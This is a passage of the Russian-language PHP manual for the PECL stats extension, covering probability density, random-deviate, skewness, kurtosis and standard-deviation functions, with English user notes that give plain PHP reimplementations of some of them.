There are no user contributed notes for this page.


Возвращает плотность вероятности нормального распределения

  • « stats_dens_logistic
  • stats_dens_pmf_binomial »
  • PHP Manual
  • Функции статистики
  • Возвращает плотность вероятности нормального распределения

stats_dens_normal

(PECL stats >= 1.0.0)

stats_dens_normal — Возвращает плотность вероятности нормального распределения

Описание

stats_dens_normal(float $x, float $ave, float $stdev): float

Возвращает плотность вероятности при x, где случайная величина следует за нормальным распределением, среднее значение которого ave и стандартное отклонение stdev.

Список параметров

x

Величина, для которой вычисляется плотность вероятности

ave

Среднее значение распределения

stdev

Стандартное отклонение

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

Hector 13-Jun-2019 01:13
This functions will be the equivalent for "DISTR.NORM.N" on excel, like an other user said it's for Gaussian normal distribution.

$x as value to analyze
$ave as average
$stdev as deviation
Anonymous 10-Aug-2009 04:12
There's a way to try it out:

<?php
...
echo"<pre>\n";
for($x=-2;$x<=2;$x+=0.1){
  echo"$i; ".stats_dens_normal($x,1,1)."\n";
}
echo"</pre>\n";
?>

Observe the result (to determine yourself), or
save it as "stats_dens_normal.csv",
load it into Open Office and make a graph of it
Anonymous 28-Feb-2009 02:37
I'm not certain that I've figured this one out correctly but it should return the value of a (Gaussian) normal distribution of the given properties at the given location.
$x - the X-Value to request
$ave - the 'expected value' (i.e. location of the peak) for the distribution. For most uses this will just be 0.
$stdev - the standard deviation of the distribution. For most uses this will be 1.


Вероятностная мера биноминального распределения

  • « stats_dens_normal
  • stats_dens_pmf_hypergeometric »
  • PHP Manual
  • Функции статистики
  • Вероятностная мера биноминального распределения

stats_dens_pmf_binomial

(PECL stats >= 1.0.0)

stats_dens_pmf_binomial — Вероятностная мера биноминального распределения

Описание

stats_dens_pmf_binomial(float $x, float $n, float $pi): float

Возвращает плотность вероятности для x, где n и pi являются количеством попыток и коэффициентом успешности соответственно.

Список параметров

x

Значение, для которого считается вероятностная мера

n

Количество испытаний

pi

Коэффициент успешности

Возвращаемые значения

Вероятностная мера для x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вероятностная мера гипергеометрического распределения

  • « stats_dens_pmf_binomial
  • stats_dens_pmf_negative_binomial »
  • PHP Manual
  • Функции статистики
  • Вероятностная мера гипергеометрического распределения

stats_dens_pmf_hypergeometric

(PECL stats >= 1.0.0)

stats_dens_pmf_hypergeometric — Вероятностная мера гипергеометрического распределения

Описание

stats_dens_pmf_hypergeometric(
float $n1,
float $n2,
float $N1,
float $N2
): float

Возвращает вероятностную меру для n1, где n2, N1 и N2 являются количеством неудачных попыток, числом успешных выборок и числом неудачных выборок соответственно.

Список параметров

n1

Число успешных попыток, при которых вычисляется вероятностная мера

n2

Количество неудачных попыток

N1

Число успешных выборок

N2

Число неудачных выборок

Возвращаемые значения

Вероятностная мера для n1 или false в случае возникновения ошибки.

User Contributed Notes

brendan at gamblingtec dot com 19-Jun-2019 01:11
You can use this method to work out lottery odds:

/**
* N is the population size OR total balls in the lottery draw
* K is the number of success states in the population OR the number of correct balls drawn from the pool
* n is the number of draws OR the number of times we draw from the pool to get the winning numbers.
*/

$N = 49; //Total balls in the pool
$K = 1; //Successful matches to win

$method = new Hypergeometric($N, $K, $K);
$odds = $method->pmf($K);

return 1/$odds;

//Will return 49


Функция плотности вероятности негативного биноминального распределения

  • « stats_dens_pmf_hypergeometric
  • stats_dens_pmf_poisson »
  • PHP Manual
  • Функции статистики
  • Функция плотности вероятности негативного биноминального распределения

stats_dens_pmf_negative_binomial

(PECL stats >= 1.0.0)

stats_dens_pmf_negative_binomial — Функция плотности вероятности негативного биноминального распределения

Описание

stats_dens_pmf_negative_binomial(float $x, float $n, float $pi): float

Возвращает плотность вероятности в x, где число успехов — это n, а степень успешности - pi.

Список параметров

x

Значение, для которого будет вычисляться плотность вероятности

n

Число успехов распределения

pi

Степень успешности

Возвращаемые значения

Плотность вероятности в x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вероятностная мера распределения Пуассона

  • « stats_dens_pmf_negative_binomial
  • stats_dens_t »
  • PHP Manual
  • Функции статистики
  • Вероятностная мера распределения Пуассона

stats_dens_pmf_poisson

(PECL stats >= 1.0.0)

stats_dens_pmf_poisson — Вероятностная мера распределения Пуассона

Описание

stats_dens_pmf_poisson(float $x, float $lb): float

Возвращает вероятностную меру для x, где lb является параметром распределения Пуассона.

Список параметров

x

Значение, для которого считается плотность вероятности

lb

Параметр распределения Пуассона

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плотность вероятности распределения Стьюдента

  • « stats_dens_pmf_poisson
  • stats_dens_uniform »
  • PHP Manual
  • Функции статистики
  • Плотность вероятности распределения Стьюдента

stats_dens_t

(PECL stats >= 1.0.0)

stats_dens_t — Плотность вероятности распределения Стьюдента

Описание

stats_dens_t(float $x, float $dfr): float

Возвращает плотность вероятности для x, где scale отражает количество степеней свободы.

Список параметров

x

Значение, для которого считается плотность вероятности

dfr

Степени свободы

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

Anonymous 28-Feb-2009 02:12
This function returns the value of a student-T-distribution with the total area of 1.
$dfr are the degrees of freedom for that distribution (aka k)
$x is the X-Value for which the value should be returned


Функция плотности вероятности равномерного распределения

  • « stats_dens_t
  • stats_dens_weibull »
  • PHP Manual
  • Функции статистики
  • Функция плотности вероятности равномерного распределения

stats_dens_uniform

(PECL stats >= 1.0.0)

stats_dens_uniform — Функция плотности вероятности равномерного распределения

Описание

stats_dens_uniform(float $x, float $a, float $b): float

Возвращает плотность вероятности в x, где нижняя граница задана в a, а верхняя в b.

Список параметров

x

Значение для которого будет вычисляться плотность вероятности

a

Нижняя граница распределения

b

Верхняя граница распределения

Возвращаемые значения

Плотность вероятности в x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Плотность вероятности распределения Вейбулла

  • « stats_dens_uniform
  • stats_harmonic_mean »
  • PHP Manual
  • Функции статистики
  • Плотность вероятности распределения Вейбулла

stats_dens_weibull

(PECL stats >= 1.0.0)

stats_dens_weibull — Плотность вероятности распределения Вейбулла

Описание

stats_dens_weibull(float $x, float $a, float $b): float

Возвращает плотность вероятности для x, где a и b являются параметром формы и масштабным параметром соответственно.

Список параметров

x

Значение, для которого считается плотность вероятности

a

Параметр формы

b

Масштабный параметр распределения

Возвращаемые значения

Плотность вероятности для x или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает среднее гармоническое массива значений

  • « stats_dens_weibull
  • stats_kurtosis »
  • PHP Manual
  • Функции статистики
  • Возвращает среднее гармоническое массива значений

stats_harmonic_mean

(PECL stats >= 1.0.0)

stats_harmonic_mean — Возвращает среднее гармоническое массива значений

Описание

stats_harmonic_mean(array $a): number

Возвращает среднее гармоническое массива значений a.

Список параметров

a

Массив значений

Возвращаемые значения

Возвращает среднее гармоническое массива значений a или false, если a пуст или не является массивом.

User Contributed Notes

Daniel Morris (www.danielxmorris.com) 15-Aug-2008 07:51
I wrote this to calculate harmonic averages in my shares program.  Hopefully this can help someone who doesn't want to use PECL.  The function accepts an unlimited number of arguments without the need to place them into an array, which is better than the way the PECL extension handles the function.

<?php

/**
 *  @author    Daniel Morris
*/
function harmonic () {
    $num_args = func_num_args ();
    for ($i = 0; $i < $num_args; $i++) {
        $sum += 1 / func_get_arg ($i);
    }
    return $num_args / $sum;
}

// Tests

echo harmonic (1, 2, 3, 4, 5);
echo harmonic (-1, 3, 4, 10293);
echo harmonic (-1, -2, -3, -4, -5);

//  2.1897810218978
//  -9.6022389365052
//  -2.1897810218978

?>


Вычисляет эксцесс данных в массиве

  • « stats_harmonic_mean
  • stats_rand_gen_beta »
  • PHP Manual
  • Функции статистики
  • Вычисляет эксцесс данных в массиве

stats_kurtosis

(PECL stats >= 1.0.0)

stats_kurtosis — Вычисляет эксцесс данных в массиве

Описание

stats_kurtosis(array $a): float

Вычисляет эксцесс данных в массиве a.

Список параметров

a

Массив исходных значений

Возвращаемые значения

Возвращает эксцесс массива значений a или false, если a пуст или не является массивом.

User Contributed Notes

Angel J. Salinas 12-Dec-2015 09:35
// If you don't have the php_stats library, you can use this function:
public static function getKurtosis( $values )
{
  $numValues = count( $values );
  if ( $numValues == 0 ) {
    return 0.0;
  }

  // Use function from php_stats library if available
  if ( function_exists( 'stats_kurtosis' ) ) {
    return stats_kurtosis( $values );
  }

  $mean = array_sum( $values ) / floatval( $numValues );
  $add2 = 0.0;
  $add4 = 0.0;

  foreach ( $values as $value ) {
    if ( ! is_numeric( $value ) ) {
      return false;
    }
    $dif = $value - $mean;
    $dif2 = $dif * $dif;
    $add2 += $dif2;
    $add4 += ( $dif2 * $dif2 );
  } // foreach values

  $variance = $add2 / floatval( $numValues );
  return ( $add4 * $numValues ) / ( $add2 * $add2 ) - 3.0;
}


Вычисляет случайное отклонение от бета-распределения

  • « stats_kurtosis
  • stats_rand_gen_chisquare »
  • PHP Manual
  • Функции статистики
  • Вычисляет случайное отклонение от бета-распределения

stats_rand_gen_beta

(PECL stats >= 1.0.0)

stats_rand_gen_beta — Вычисляет случайное отклонение от бета-распределения

Описание

stats_rand_gen_beta(float $a, float $b): float

Возвращает случайное отклонения от Бета-распределения с параметрами A и B. Плотность распределения равна x^(a-1) * (1-x)^(b-1) / B(a,b) для 0 < x <. Метод R. C. H. Cheng.

Список параметров

a

Параметр формы

b

Параметр формы

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет случайное отклонение от распределения хи-квадрат

  • « stats_rand_gen_beta
  • stats_rand_gen_exponential »
  • PHP Manual
  • Функции статистики
  • Вычисляет случайное отклонение от распределения хи-квадрат

stats_rand_gen_chisquare

(PECL stats >= 1.0.0)

stats_rand_gen_chisquare — Вычисляет случайное отклонение от распределения хи-квадрат

Описание

stats_rand_gen_chisquare(float $df): float

Вычисляет случайное отклонение от распределения хи-квадрат с заданным числом степеней свободы df.

Список параметров

df

Количество степеней свободы

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет случайное отклонение от экспоненциального распределения

  • « stats_rand_gen_chisquare
  • stats_rand_gen_f »
  • PHP Manual
  • Функции статистики
  • Вычисляет случайное отклонение от экспоненциального распределения

stats_rand_gen_exponential

(PECL stats >= 1.0.0)

stats_rand_gen_exponential — Вычисляет случайное отклонение от экспоненциального распределения

Описание

stats_rand_gen_exponential(float $av): float

Вычисляет случайное отклонение от экспоненциального распределения с заданным масштабным коэффициентом av.

Список параметров

av

Масштабный коэффициент

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Генерирует случайное отклонение от распределения Фишера

  • « stats_rand_gen_exponential
  • stats_rand_gen_funiform »
  • PHP Manual
  • Функции статистики
  • Генерирует случайное отклонение от распределения Фишера

stats_rand_gen_f

(PECL stats >= 1.0.0)

stats_rand_gen_f — Генерирует случайное отклонение от распределения Фишера

Описание

stats_rand_gen_f(float $dfn, float $dfd): float

Генерирует случайное отклонение от распределения Фишера с "dfn" степенями свободы в числителе и "dfd" степенями свободы в знаменателе. Метод : прямая генерация отношения вариантов хи-квадрат.

Список параметров

dfn

Количество степеней свободы числителя

dfd

Количество степеней свободы знаменателя

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Сгенерировать рациональное число от low (исключая) до high (исключая) на базе равномерного распределения

  • « stats_rand_gen_f
  • stats_rand_gen_gamma »
  • PHP Manual
  • Функции статистики
  • Сгенерировать рациональное число от low (исключая) до high (исключая) на базе равномерного распределения

stats_rand_gen_funiform

(PECL stats >= 1.0.0)

stats_rand_gen_funiform — Сгенерировать рациональное число от low (исключая) до high (исключая) на базе равномерного распределения

Описание

stats_rand_gen_funiform(float $low, float $high): float

Сгенерировать рациональное число руководствуясь равномерным распределением в пределах от low до high.

Список параметров

low

Нижняя граница (включая)

high

Верхняя граница (исключая)

Возвращаемые значения

Случайное рациональное число

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет случайное отклонение от гамма-распределения

  • « stats_rand_gen_funiform
  • stats_rand_gen_ibinomial_negative »
  • PHP Manual
  • Функции статистики
  • Вычисляет случайное отклонение от гамма-распределения

stats_rand_gen_gamma

(PECL stats >= 1.0.0)

stats_rand_gen_gamma — Вычисляет случайное отклонение от гамма-распределения

Описание

stats_rand_gen_gamma(float $a, float $r): float

Сгенерировать случайное отклонение от Гамма-распределения. Плотность рассчитывается по формуле (A**R)/Gamma(R) * X**(R-1) * Exp(-A*X).

Список параметров

a

Коэффициент сдвига Гамма-распределения (a > 0).

r

Коэффициент формы Гамма-распределения (r > 0).

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет случайное отклонение от отрицательного биноминального распределения

  • « stats_rand_gen_gamma
  • stats_rand_gen_ibinomial »
  • PHP Manual
  • Функции статистики
  • Вычисляет случайное отклонение от отрицательного биноминального распределения

stats_rand_gen_ibinomial_negative

(PECL stats >= 1.0.0)

stats_rand_gen_ibinomial_negative — Вычисляет случайное отклонение от отрицательного биноминального распределения

Описание

stats_rand_gen_ibinomial_negative(int $n, float $p): int

Вычисляет случайное отклонение от отрицательного биноминального распределения с заданным числом успешных испытаний n и коэффициентом успешности p.

Список параметров

n

Количество успешных испытаний

p

Коэффициент успешности

Возвращаемые значения

Случайное отклонение, являющееся количеством неудачных испытаний

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет случайное отклонение от биноминального распределения

  • « stats_rand_gen_ibinomial_negative
  • stats_rand_gen_int »
  • PHP Manual
  • Функции статистики
  • Вычисляет случайное отклонение от биноминального распределения

stats_rand_gen_ibinomial

(PECL stats >= 1.0.0)

stats_rand_gen_ibinomial — Вычисляет случайное отклонение от биноминального распределения

Описание

stats_rand_gen_ibinomial(int $n, float $pp): int

Вычисляет случайное отклонение от биноминального распределения с заданным числом испытаний ndf и вероятностью успеха каждого испытания pp.

Список параметров

n

Количество испытаний

pp

Коэффициент успешности каждого испытания

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Генерирует случайное число в диапазоне от 1 до 2147483562

  • « stats_rand_gen_ibinomial
  • stats_rand_gen_ipoisson »
  • PHP Manual
  • Функции статистики
  • Генерирует случайное число в диапазоне от 1 до 2147483562

stats_rand_gen_int

(PECL stats >= 1.0.0)

stats_rand_gen_int — Генерирует случайное число в диапазоне от 1 до 2147483562

Описание

stats_rand_gen_int(): int

Генерирует случайное число в диапазоне от 1 до 2147483562

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Случайное целое число

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет случайное отклонение от распределения Пуассона

  • « stats_rand_gen_int
  • stats_rand_gen_iuniform »
  • PHP Manual
  • Функции статистики
  • Вычисляет случайное отклонение от распределения Пуассона

stats_rand_gen_ipoisson

(PECL stats >= 1.0.0)

stats_rand_gen_ipoisson — Вычисляет случайное отклонение от распределения Пуассона

Описание

stats_rand_gen_ipoisson(float $mu): int

Вычисляет случайное отклонение от распределения Пуассона с параметром mu.

Список параметров

mu

Параметр распределения Пуассона

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Генерирует целое число равномерно распределённое в диапазоне LOW (включая) и HIGH (включая)

  • « stats_rand_gen_ipoisson
  • stats_rand_gen_noncentral_chisquare »
  • PHP Manual
  • Функции статистики
  • Генерирует целое число равномерно распределённое в диапазоне LOW (включая) и HIGH (включая)

stats_rand_gen_iuniform

(PECL stats >= 1.0.0)

stats_rand_gen_iuniform — Генерирует целое число равномерно распределённое в диапазоне LOW (включая) и HIGH (включая)

Описание

stats_rand_gen_iuniform(int $low, int $high): int

Генерирует случайное целое число на базе равномерного распределения в диапазоне low (включая) и high (включая).

Список параметров

low

Нижняя граница

high

Верхняя граница

Возвращаемые значения

Случайное целое число

User Contributed Notes

There are no user contributed notes for this page.


Генерирует случайное отклонение нецентрального распределения хи-квадрат

  • « stats_rand_gen_iuniform
  • stats_rand_gen_noncentral_f »
  • PHP Manual
  • Функции статистики
  • Генерирует случайное отклонение нецентрального распределения хи-квадрат

stats_rand_gen_noncentral_chisquare

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_chisquare — Генерирует случайное отклонение нецентрального распределения хи-квадрат

Описание

stats_rand_gen_noncentral_chisquare(float $df, float $xnonc): float

Возвращает случайное отклонение нецентрального распределения хи-квадрат с df степенями свободы и параметром нецентральности xnonc.

Список параметров

df

Степени свободы

xnonc

Параметр нецентральности

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет случайное отклонение от нецентрального распределения Фишера

  • « stats_rand_gen_noncentral_chisquare
  • stats_rand_gen_noncentral_t »
  • PHP Manual
  • Функции статистики
  • Вычисляет случайное отклонение от нецентрального распределения Фишера

stats_rand_gen_noncentral_f

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_f — Вычисляет случайное отклонение от нецентрального распределения Фишера

Описание

stats_rand_gen_noncentral_f(float $dfn, float $dfd, float $xnonc): float

Вычисляет случайное отклонение от нецентрального распределения Фишера с заданными числами степеней свободы числителя dfn и знаменателя dfd и параметром сдвига xnonc.

Список параметров

dfn

Количество степеней свободы числителя

dfd

Количество степеней свободы знаменателя

xnonc

Параметр сдвига

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет единичное случайное отклонение от нецентрального распределения Стьюдента

  • « stats_rand_gen_noncentral_f
  • stats_rand_gen_normal »
  • PHP Manual
  • Функции статистики
  • Вычисляет единичное случайное отклонение от нецентрального распределения Стьюдента

stats_rand_gen_noncentral_t

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_t — Вычисляет единичное случайное отклонение от нецентрального распределения Стьюдента

Описание

stats_rand_gen_noncentral_t(float $df, float $xnonc): float

Вычисляет единичное случайное отклонение от нецентрального распределения Стьюдента с заданным числом степеней свободы df и параметром сдвига xnonc.

Список параметров

df

Количество степеней свободы

xnonc

Параметр сдвига

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Генерирует одно случайное отклонение от нормального распределения

  • « stats_rand_gen_noncentral_t
  • stats_rand_gen_t »
  • PHP Manual
  • Функции статистики
  • Генерирует одно случайное отклонение от нормального распределения

stats_rand_gen_normal

(PECL stats >= 1.0.0)

stats_rand_gen_normal — Генерирует одно случайное отклонение от нормального распределения

Описание

stats_rand_gen_normal(float $av, float $sd): float

Возвращает случайное отклонение от нормального распределения со средним значением av и стандартное отклонение sd.

Список параметров

av

Среднее значение нормального распределения

sd

Стандартное отклонение нормального распределения

Возвращаемые значения

Случайное отклонение

User Contributed Notes

KEINOS 31-May-2020 04:33
Alternative of "stats_rand_gen_normal()".

<?php
/**
 * "Box-Muller transform" based random deviate generator.
 *
 * @ref https://en.wikipedia.org/wiki/Box%E2%80%93Muller_transform
 *
 * @param  float|int $av Average/Mean
 * @param  float|int $sd Standard deviation
 * @return float
 */
if (! function_exists('stats_rand_gen_normal')) {
    function stats_rand_gen_normal($av, $sd): float
    {
        $x = mt_rand() / mt_getrandmax();
        $y = mt_rand() / mt_getrandmax();

        return sqrt(-2 * log($x)) * cos(2 * pi() * $y) * $sd + $av;
    }
}
?>


Генерирует одно случайное отклонение от t-распределения

  • « stats_rand_gen_normal
  • stats_rand_get_seeds »
  • PHP Manual
  • Функции статистики
  • Генерирует одно случайное отклонение от t-распределения

stats_rand_gen_t

(PECL stats >= 1.0.0)

stats_rand_gen_t — Генерирует одно случайное отклонение от t-распределения

Описание

stats_rand_gen_t(float $df): float

Возвращает случайное отклонение от t-распределения со степенями свободы, df.

Список параметров

df

Степени свободы

Возвращаемые значения

Случайное отклонение

User Contributed Notes

There are no user contributed notes for this page.


Получает начальные значения генератора случайных чисел

  • « stats_rand_gen_t
  • stats_rand_phrase_to_seeds »
  • PHP Manual
  • Функции статистики
  • Получает начальные значения генератора случайных чисел

stats_rand_get_seeds

(PECL stats >= 1.0.0)

stats_rand_get_seeds — Получает начальные значения генератора случайных чисел

Описание

stats_rand_get_seeds(): array

Возвращает текущие начальные значения генератора случайных чисел.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив из двух целых чисел.

User Contributed Notes

There are no user contributed notes for this page.


Генерирует два начальных числа для генератора случайных чисел RGN

  • « stats_rand_get_seeds
  • stats_rand_ranf »
  • PHP Manual
  • Функции статистики
  • Генерирует два начальных числа для генератора случайных чисел RGN

stats_rand_phrase_to_seeds

(PECL stats >= 1.0.0)

stats_rand_phrase_to_seeds — Генерирует два начальных числа для генератора случайных чисел RGN

Описание

stats_rand_phrase_to_seeds(string $phrase): array

Генерирует два начальных числа для генератора случайных чисел из phrase.

Список параметров

phrase

Входная фраза

Возвращаемые значения

Возвращает массив из двух целых чисел.

User Contributed Notes

There are no user contributed notes for this page.


Генерирует случайное число с плавающей точкой от 0 до 1

  • « stats_rand_phrase_to_seeds
  • stats_rand_setall »
  • PHP Manual
  • Функции статистики
  • Генерирует случайное число с плавающей точкой от 0 до 1

stats_rand_ranf

(PECL stats >= 1.0.0)

stats_rand_ranf — Генерирует случайное число с плавающей точкой от 0 до 1

Описание

stats_rand_ranf(): float

Возвращает случайное число с плавающей точкой из равномерного распределения от 0 (исключая) до 1 (исключая).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Случайное число с плавающей точкой

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает начальные значения для генератора случайных чисел

  • « stats_rand_ranf
  • stats_skew »
  • PHP Manual
  • Функции статистики
  • Устанавливает начальные значения для генератора случайных чисел

stats_rand_setall

(PECL stats >= 1.0.0)

stats_rand_setall — Устанавливает начальные значения для генератора случайных чисел

Описание

stats_rand_setall(int $iseed1, int $iseed2): void

Устанавливает iseed1 и iseed2 в качестве начальных значений для генератора случайных чисел, используемого в статистических функциях.

Список параметров

iseed1

Значение, которое используется как случайное начальное число

iseed2

Значение, которое используется как случайное начальное число

Возвращаемые значения

Никакие значения не возвращаются.

User Contributed Notes

geoffreyj dot lee at gmail dot com 29-Aug-2016 06:37
tl;dr - This random number generator is implemented using linear congruential generators. The arguments iseed1 and iseed2 each expect a 32-bit integer.

I can't believe this PECL package has such terrible documentation that I have to dig into the C source code to figure out how to use it.

Documentation from PECL source, lines 246-262 of "com.c" found at:
http://git.php.net/?p=pecl/math/stats.git;a=blob;f=com.c;h=7740ac636969e500254c61697125dfa8857dd715;hb=refs/heads/master

/*
**********************************************************************
void setall(long iseed1,long iseed2)
          SET ALL random number generators
Sets the initial seed of generator 1 to ISEED1 and ISEED2. The
initial seeds of the other generators are set accordingly, and
all generators states are set to these seeds.
This is a transcription from Pascal to Fortran of routine
Set_Initial_Seed from the paper
L'Ecuyer, P. and Cote, S. "Implementing a Random Number Package
with Splitting Facilities." ACM Transactions on Mathematical
Software, 17:98-111 (1991)
                         Arguments
iseed1 -> First of two integer seeds
iseed2 -> Second of two integer seeds
**********************************************************************
*/

Looking further into the referenced paper, we see:

PROCEDURE Set_lnitiaI_Seed (S1, S2 INTEGER);
Resets the initial seed of generator 1 to the values S1 and S2, which must satisfy: 1 <= S1 <= 2147483562 and 1 <= S2 <= 2147483398. The initial seeds of all other generators are recomputed accordingly, and all generator's states are reset to these initial seeds. This procedure is called automatically at the beginning of program execution, with (default) parameter values S1 = 1234567890 and S2 = 123456789.


Вычисляет асимметрию данных в массиве

  • « stats_rand_setall
  • stats_standard_deviation »
  • PHP Manual
  • Функции статистики
  • Вычисляет асимметрию данных в массиве

stats_skew

(PECL stats >= 1.0.0)

stats_skew — Вычисляет асимметрию данных в массиве

Описание

stats_skew(array $a): float

Возвращает асимметрию значений в a.

Список параметров

a

Входной массив

Возвращаемые значения

Возвращает асимметрию значений в a или false, если a пуст или не является массивом.

User Contributed Notes

Angel J. Salinas 11-Dec-2015 08:35
If you don't have the php_stats library, you can use this implementation:

  public static function getSkewness( $values )
  {
    $numValues = count( $values );
    if ( $numValues == 0 ) {
      return 0.0;
    }

    // Use function from php_stats library if available
    if ( function_exists( 'stats_skew' ) ) {
      return stats_skew( $values );
    }

    $mean = array_sum( $values ) / floatval( $numValues );

    $add2 = 0.0;
    $add3 = 0.0;
    foreach ( $values as $value ) {
      if ( ! is_numeric( $value ) ) {
        return false;
      }

      $dif = $value - $mean;
      $add2 += ( $dif * $dif );
      $add3 += ( $dif * $dif * $dif );

    } // foreach values

    $variance = $add2 / floatval( $numValues );

    return ( $add3 / floatval( $numValues ) ) / pow( $variance, 3 / 2.0  );
  }


Возвращает стандартное отклонение

  • « stats_skew
  • stats_stat_binomial_coef »
  • PHP Manual
  • Функции статистики
  • Возвращает стандартное отклонение

stats_standard_deviation

(PECL stats >= 1.0.0)

stats_standard_deviation — Возвращает стандартное отклонение

Описание

stats_standard_deviation(array $a, bool $sample = false): float

Возвращает стандартное отклонение для массива значений a.

Список параметров

a

Массив с данными для поиска стандартного отклонения. Учтите, что все значения массива будут приведены к типу float.

sample

Указывает, что параметр a представляет собой выборку из генеральной совокупности. По умолчанию false.

Возвращаемые значения

Возвращает стандартное отклонение в случае успешного выполнения; false в случае возникновения ошибки.

Ошибки

Вызывает предупреждение E_WARNING, если в параметре a меньше двух значений.

User Contributed Notes

levim at php dot net 24-Feb-2014 05:15
Here's an implementation that adheres to the PECL source quite strictly. This is useful for people who want to use it but don't have the extension, as well as for people who want to understand what is going on.

<?php

if (!function_exists('stats_standard_deviation')) {
    /**
     * This user-land implementation follows the implementation quite strictly;
     * it does not attempt to improve the code or algorithm in any way. It will
     * raise a warning if you have fewer than 2 values in your array, just like
     * the extension does (although as an E_USER_WARNING, not E_WARNING).
     *
     * @param array $a
     * @param bool $sample [optional] Defaults to false
     * @return float|bool The standard deviation or false on error.
     */
    function stats_standard_deviation(array $a, $sample = false) {
        $n = count($a);
        if ($n === 0) {
            trigger_error("The array has zero elements", E_USER_WARNING);
            return false;
        }
        if ($sample && $n === 1) {
            trigger_error("The array has only 1 element", E_USER_WARNING);
            return false;
        }
        $mean = array_sum($a) / $n;
        $carry = 0.0;
        foreach ($a as $val) {
            $d = ((double) $val) - $mean;
            $carry += $d * $d;
        };
        if ($sample) {
           --$n;
        }
        return sqrt($carry / $n);
    }
}

?>
tripollite at gmail dot com 28-Jun-2012 09:58
Function to calculate square of value - mean

<?php
function sd_square($x, $mean) { return pow($x - $mean,2); }
?>

Function to calculate standard deviation (uses sd_square)
<?php
function sd($array) {

// square root of sum of squares devided by N-1
return sqrt(array_sum(array_map("sd_square", $array, array_fill(0,count($array), (array_sum($array) / count($array)) ) ) ) / (count($array)) );
}
?>

works better if you don't add +1 to the count

standard deviation of a constant must be 0 ( http://en.wikipedia.org/wiki/Standard_deviation )

different way :
<?php
class Tmath{
    public static function variance($data, $round = 2)
    {
        if( count($data) == 0 )
            return NULL;
        $total_ecart = 0;
        $moyenne = self::moyenne($data, 10*$round);
        if( $moyenne == 0)
            return 0;
        foreach( $data as $element)
        {
            $total_ecart += pow($element, 2);
        }
        return round($total_ecart/count($data) - pow($moyenne,2),$round);
    }
    public static function ecartType($data, $round = 2)
    {
        return round(sqrt(self::variance($data,10*$round)),2);
    }
    public static function moyenne($data, $round = 2)
    {
        if( count($data) == 0 )
            return NULL;
        return round(array_sum($data)/count($data),$round) ;
    }
}
?>
pmcdougl at gac dot edu 06-Mar-2012 10:40
It should be known that this function also casts all of the values of the array to floats. If you pass an array of integers, they will come out as an array of floats.

$data = array(2,3,3,3,3,2,5);
var_dump($data);
$standardDeviation = stats_standard_deviation($data);
var_dump($data);

Prints:
array
  0 => int 2
  1 => int 3
  2 => int 3
  3 => int 3
  4 => int 3
  5 => int 2
  6 => int 5
array
  0 => float 2
  1 => float 3
  2 => float 3
  3 => float 3
  4 => float 3
  5 => float 5
  6 => float 2
Pascal Woerde 07-Sep-2010 12:04
If you want one function for the population and sample, you can use this function:

<?php

function standard_deviation($aValues, $bSample = false)
{
    $fMean = array_sum($aValues) / count($aValues);
    $fVariance = 0.0;
    foreach ($aValues as $i)
    {
        $fVariance += pow($i - $fMean, 2);
    }
    $fVariance /= ( $bSample ? count($aValues) - 1 : count($aValues) );
    return (float) sqrt($fVariance);
}
Sharon 16-Apr-2010 02:40
If you don't have the stat package you can use these functions:

<?php

// Function to calculate square of value - mean
function sd_square($x, $mean) { return pow($x - $mean,2); }

// Function to calculate standard deviation (uses sd_square)
function sd($array) {

// square root of sum of squares devided by N-1
return sqrt(array_sum(array_map("sd_square", $array, array_fill(0,count($array), (array_sum($array) / count($array)) ) ) ) / (count($array)-1) );
}

 ?>


Получить биноминальный коэффициент

  • « stats_standard_deviation
  • stats_stat_correlation »
  • PHP Manual
  • Функции статистики
  • Получить биноминальный коэффициент

stats_stat_binomial_coef

(PECL stats >= 1.0.0)

stats_stat_binomial_coef — Получить биноминальный коэффициент

Описание

stats_stat_binomial_coef(int $x, int $n): float

Возвращает биноминальный коэффициент для n элементов и x выборок.

Список параметров

x

Количество выборок из набора

n

Количество элементов в наборе

Возвращаемые значения

Возвращает биноминальный коэффициент

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коэффициент корреляции Пирсона двух наборов данных

  • « stats_stat_binomial_coef
  • stats_stat_factorial »
  • PHP Manual
  • Функции статистики
  • Возвращает коэффициент корреляции Пирсона двух наборов данных

stats_stat_correlation

(PECL stats >= 1.0.0)

stats_stat_correlation — Возвращает коэффициент корреляции Пирсона двух наборов данных

Описание

stats_stat_correlation(array $arr1, array $arr2): float

Возвращает коэффициент корреляции Пирсона для arr1 и arr2.

Список параметров

arr1

Первый массив

arr2

Второй массив

Возвращаемые значения

